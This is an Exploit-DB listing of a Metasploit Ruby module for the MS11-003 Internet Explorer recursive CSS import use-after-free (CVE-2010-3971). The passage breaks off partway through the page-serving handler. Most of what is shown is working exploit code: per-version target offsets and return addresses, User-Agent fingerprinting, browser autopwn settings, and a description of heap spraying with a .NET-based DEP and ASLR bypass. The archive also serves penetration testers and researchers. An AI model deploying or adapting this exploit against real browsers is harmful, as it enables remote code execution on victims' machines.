Exploit-DB #16533
Description: Microsoft Internet Explorer - CSS Recursive Import Use-After-Free (MS11-003) (Metasploit)
Type: remote
Platform: windows
Date: 2011-02-08
Author: Metasploit

Exploit:
##
# $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking # Need more love for Great

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "7.0", # Should be 6
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => nil, # no way to test without just trying it
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internet Explorer CSS Recursive Import Use After Free',
			'Description'    => %q{
					This module exploits a memory corruption vulnerability within Microsoft\'s
				HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
				import, a C++ object is deleted and later reused. This leads to arbitrary
				code execution.

				This exploit utilizes a combination of heap spraying and the
				.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
				opt-in to ASLR. As such, this module should be reliable on all Windows
				versions with .NET 2.0.50727 installed.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'passerby',       # Initial discovery / report
					'd0c_s4vage',     # First working public exploit
					'jduck'           # Metasploit module (ROP, @WTFuzz spray)
				],
			'Version'        => '$Revision: 11730 $',
			'References'     =>
				[
					[ 'CVE', '2010-3971' ],
					[ 'OSVDB', '69796' ],
					[ 'BID', '45246' ],
					[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ],
					[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],
					[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ],  # .NET 2.0 ROP (slide 25)
					[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ],
					[ 'MSB', 'MS11-003' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
					'DisableNops'   => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],

					[ 'Internet Explorer 8',
						{
							'Ret' => 0x105ae020,
							'OnePtrOff' => 0x18,
							'DerefOff' => 0x30,
							'FlagOff' => 0x54,
							'CallDeref1' => 0x20,
							'SignedOff' => 0x1c,
							'CallDeref2' => 0x24,
							'CallDeref3' => 0x00,
							'CallDeref4' => 0x20,
							'Deref4Off' => 0x08
						}
					],

					[ 'Internet Explorer 7',
						{
							'Ret' => 0x105ae020,
							'OnePtrOff' => 0x14,
							'DerefOff' => 0x5c,
							'FlagOff' => 0x34,
							'CallDeref1' => 0x1c,
							'SignedOff' => 0x18,
							'CallDeref2' => 0x20,
							'CallDeref3' => 0x00,
							'CallDeref4' => 0x20,
							'Deref4Off' => 0x08
						}
					],

					# For now, treat the IE6 target the same as teh debug target.
					[ 'Internet Explorer 6',
						{
							'Ret' => 0xc0c0c0c0,
							'OnePtrOff' => 0x14,
							'DerefOff' => 0x5c,
							'FlagOff' => 0x34,
							'CallDeref1' => 0x1c,
							'SignedOff' => 0x18,
							'CallDeref2' => 0x20,
							'CallDeref3' => 0x00,
							'CallDeref4' => 0x20,
							'Deref4Off' => 0x08
						}
					],

					[ 'Debug Target (Crash)',
						{
							'Ret' => 0xc0c0c0c0,
							'OnePtrOff' => 0,
							'DerefOff' => 4,
							'FlagOff' => 8,
							'CallDeref1' => 0xc,
							'SignedOff' => 0x10,
							'CallDeref2' => 0x14,
							'CallDeref3' => 0x18,
							'CallDeref4' => 0x1c,
							'Deref4Off' => 0x20
						}
					]
				],
			# Full-disclosure post was Dec 8th, original blog Nov 29th
			'DisclosureDate' => 'Nov 29 2010',
			'DefaultTarget'  => 0))
	end


	def auto_target(cli, request)
		mytarget = nil

		agent = request.headers['User-Agent']
		#print_status("Checking user agent: #{agent}")
		if agent !~ /\.NET CLR 2\.0\.50727/
			print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727")
			return nil
		end

		if agent =~ /MSIE 6\.0/
			mytarget = targets[3]
		elsif agent =~ /MSIE 7\.0/
			mytarget = targets[2]
		elsif agent =~ /MSIE 8\.0/
			mytarget = targets[1]
		else
			print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}")
		end
		mytarget
	end


	def on_request_uri(cli, request)

		print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect)

		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			if (not mytarget)
				send_not_found(cli)
				return
			end
		end

		#print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}")

		buf_addr = mytarget.ret
		css_name = [buf_addr].pack('V') * (16 / 4)

		# We stick in a placeholder string to replace after UTF-16 encoding
		placeholder = "a" * (css_name.length / 2)
		uni_placeholder = Rex::Text.to_unicode(placeholder)

		if request.uri == get_resource() or request.uri =~ /\/$/
			print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect")

			redir = get_resource()
			redir << '/' if redir[-1,1] != '/'
			redir << rand_text_alphanumeric(4+rand(4))
			redir << '.html'
			send_redirect(cli, redir)

		elsif request.uri =~ /\.html?$/
			# Re-generate the payload
			return if ((p = regenerate_payload(cli)) == nil)

			print_status("#{cl